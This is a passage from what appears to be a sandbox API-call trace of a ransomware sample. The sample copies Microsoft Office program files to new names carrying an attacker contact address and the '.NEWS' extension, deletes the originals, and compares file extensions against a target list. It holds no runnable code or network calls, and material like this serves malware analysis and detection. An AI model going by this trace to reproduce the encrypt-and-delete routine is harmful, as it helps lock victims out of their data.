hTemplateFile=0x0) returned 0x51c [0170.346] GetLastError () returned 0x0 [0170.346] ReadFile (in: hFile=0x3ac, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x19a4, lpOverlapped=0x0) returned 1 [0170.418] WriteFile (in: hFile=0x51c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x19b0, lpOverlapped=0x0) returned 1 [0170.419] ReadFile (in: hFile=0x3ac, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.419] WriteFile (in: hFile=0x51c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.419] SetEndOfFile (hFile=0x51c) returned 1 [0170.419] CloseHandle (hObject=0x51c) returned 1 [0170.419] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.419] SetEndOfFile (hFile=0x3ac) returned 1 [0170.423] CloseHandle (hObject=0x3ac) returned 1 [0170.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0170.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0170.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0170.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0170.495] lstrlenW (lpString=".doc") returned 4 [0170.495] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.495] lstrlenW (lpString=".docx") returned 5 [0170.495] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0170.495] lstrlenW (lpString=".pdf") returned 4 [0170.495] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.495] lstrlenW (lpString=".xls") returned 4 [0170.495] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.495] lstrlenW (lpString=".xlsx") returned 5 [0170.495] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0170.495] lstrlenW (lpString=".ppt") returned 4 [0170.495] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0170.495] lstrlenW (lpString=".zip") returned 4 [0170.495] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.495] lstrlenW (lpString=".rar") returned 4 [0170.495] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.495] lstrlenW (lpString=".bz2") returned 4 [0170.495] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.495] lstrlenW (lpString=".7z") returned 3 [0170.495] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0170.495] lstrlenW (lpString=".dbf") returned 4 [0170.495] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0170.495] lstrlenW (lpString=".1cd") returned 4 [0170.495] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0170.495] lstrlenW (lpString=".jpg") returned 4 [0170.495] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0170.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0170.496] lstrlenW (lpString=".doc") returned 4 [0170.496] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.496] lstrlenW (lpString=".docx") returned 5 [0170.496] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0170.496] lstrlenW (lpString=".pdf") returned 4 [0170.496] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.496] lstrlenW (lpString=".xls") returned 4 [0170.496] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.496] lstrlenW (lpString=".xlsx") returned 5 [0170.496] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0170.496] lstrlenW (lpString=".ppt") returned 4 [0170.496] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0170.496] lstrlenW (lpString=".zip") returned 4 [0170.496] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.496] lstrlenW (lpString=".rar") returned 4 [0170.496] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.496] lstrlenW (lpString=".bz2") returned 4 [0170.496] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.496] lstrlenW (lpString=".7z") returned 3 [0170.496] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0170.496] lstrlenW (lpString=".dbf") returned 4 [0170.496] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0170.496] lstrlenW (lpString=".1cd") returned 4 [0170.496] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0170.496] lstrlenW (lpString=".jpg") returned 4 [0170.496] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.496] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0170.496] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0170.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0170.497] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10122) returned 1 [0170.497] CloseHandle (hObject=0x4f4) returned 1 [0170.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220 [0170.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0170.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0170.498] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.498] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0170.499] GetLastError () returned 0x0 [0170.499] ReadFile (in: hFile=0x4f4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x278a, lpOverlapped=0x0) returned 1 [0170.552] WriteFile (in: hFile=0x550, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2790, lpOverlapped=0x0) returned 1 [0170.554] ReadFile (in: hFile=0x4f4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.554] WriteFile (in: hFile=0x550, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.554] SetEndOfFile (hFile=0x550) returned 1 [0170.554] CloseHandle (hObject=0x550) returned 1 [0170.554] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.554] SetEndOfFile (hFile=0x4f4) returned 1 [0170.557] CloseHandle (hObject=0x4f4) returned 1 [0170.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0170.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0170.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0170.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0170.558] lstrlenW (lpString=".doc") returned 4 [0170.558] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.558] lstrlenW (lpString=".docx") returned 5 [0170.558] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0170.558] lstrlenW (lpString=".pdf") returned 4 [0170.558] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.558] lstrlenW (lpString=".xls") returned 4 [0170.558] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.558] lstrlenW (lpString=".xlsx") returned 5 [0170.558] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0170.558] lstrlenW (lpString=".ppt") returned 4 [0170.558] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0170.558] lstrlenW (lpString=".zip") returned 4 [0170.558] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.558] lstrlenW (lpString=".rar") returned 4 [0170.558] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.558] lstrlenW (lpString=".bz2") returned 4 [0170.558] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.558] lstrlenW (lpString=".7z") returned 3 [0170.558] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0170.558] lstrlenW (lpString=".dbf") returned 4 [0170.559] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0170.559] lstrlenW (lpString=".1cd") returned 4 [0170.559] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0170.559] lstrlenW (lpString=".jpg") returned 4 [0170.559] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0170.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0170.559] lstrlenW (lpString=".doc") returned 4 [0170.559] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.559] lstrlenW (lpString=".docx") returned 5 [0170.559] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0170.559] lstrlenW (lpString=".pdf") returned 4 [0170.559] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.559] lstrlenW (lpString=".xls") returned 4 [0170.559] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.559] lstrlenW (lpString=".xlsx") returned 5 [0170.559] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0170.559] lstrlenW (lpString=".ppt") returned 4 [0170.559] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0170.559] lstrlenW (lpString=".zip") returned 4 [0170.559] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.559] lstrlenW (lpString=".rar") returned 4 [0170.559] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.559] lstrlenW (lpString=".bz2") returned 4 [0170.559] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.559] lstrlenW (lpString=".7z") returned 3 [0170.559] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0170.559] lstrlenW (lpString=".dbf") returned 4 [0170.559] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0170.559] lstrlenW (lpString=".1cd") returned 4 [0170.559] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0170.560] lstrlenW (lpString=".jpg") returned 4 [0170.560] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.560] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0170.560] lstrlenW (lpString="SPACE_01.MID") returned 12 [0170.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0170.582] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=4219) returned 1 [0170.583] CloseHandle (hObject=0x54c) returned 1 [0170.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 0x220 [0170.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0171.612] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.612] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.632] GetLastError () returned 0x0 [0171.633] ReadFile (in: hFile=0x4e8, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x107b, lpOverlapped=0x0) returned 1 [0171.635] WriteFile (in: hFile=0x51c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x1080, lpOverlapped=0x0) returned 1 [0171.635] ReadFile (in: hFile=0x4e8, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.636] WriteFile (in: hFile=0x51c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.636] SetEndOfFile (hFile=0x51c) returned 1 [0171.636] CloseHandle (hObject=0x51c) returned 1 [0171.636] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.636] SetEndOfFile (hFile=0x4e8) returned 1 [0171.639] CloseHandle (hObject=0x4e8) returned 1 [0171.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 1 [0171.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0171.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0171.640] lstrlenW (lpString=".doc") returned 4 [0171.640] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.640] lstrlenW (lpString=".docx") returned 5 [0171.640] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.640] lstrlenW (lpString=".pdf") returned 4 [0171.640] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.640] lstrlenW (lpString=".xls") returned 4 [0171.640] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.640] lstrlenW (lpString=".xlsx") returned 5 [0171.640] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.640] lstrlenW (lpString=".ppt") returned 4 [0171.640] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0171.640] lstrlenW (lpString=".zip") returned 4 [0171.640] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.641] lstrlenW (lpString=".rar") returned 4 [0171.641] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.641] lstrlenW (lpString=".bz2") returned 4 [0171.641] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.641] lstrlenW (lpString=".7z") returned 3 [0171.641] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0171.641] lstrlenW (lpString=".dbf") returned 4 [0171.641] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0171.641] lstrlenW (lpString=".1cd") returned 4 [0171.641] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0171.641] lstrlenW (lpString=".jpg") returned 4 [0171.641] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0171.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0171.641] lstrlenW (lpString=".doc") returned 4 [0171.641] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.641] lstrlenW (lpString=".docx") returned 5 [0171.641] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.641] lstrlenW (lpString=".pdf") returned 4 [0171.641] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.641] lstrlenW (lpString=".xls") returned 4 [0171.641] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.641] lstrlenW (lpString=".xlsx") returned 5 [0171.641] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.641] lstrlenW (lpString=".ppt") returned 4 [0171.641] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0171.641] lstrlenW (lpString=".zip") returned 4 [0171.641] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.641] lstrlenW (lpString=".rar") returned 4 [0171.641] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.641] lstrlenW (lpString=".bz2") returned 4 [0171.642] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.642] lstrlenW (lpString=".7z") returned 3 [0171.642] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0171.642] lstrlenW (lpString=".dbf") returned 4 [0171.642] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0171.642] lstrlenW (lpString=".1cd") returned 4 [0171.642] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0171.642] lstrlenW (lpString=".jpg") returned 4 [0171.642] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.642] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0171.642] lstrlenW (lpString="Extreme Shadow.eftx") returned 19 [0171.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0171.655] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=340217) returned 1 [0171.655] CloseHandle (hObject=0x4f0) returned 1 [0171.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 0x220 [0171.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0171.655] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.655] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0172.635] GetLastError () returned 0x0 [0172.635] ReadFile (in: hFile=0x4f0, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x530f9, lpOverlapped=0x0) returned 1 [0172.672] WriteFile (in: hFile=0x4dc, lpBuffer=0x4191020*, 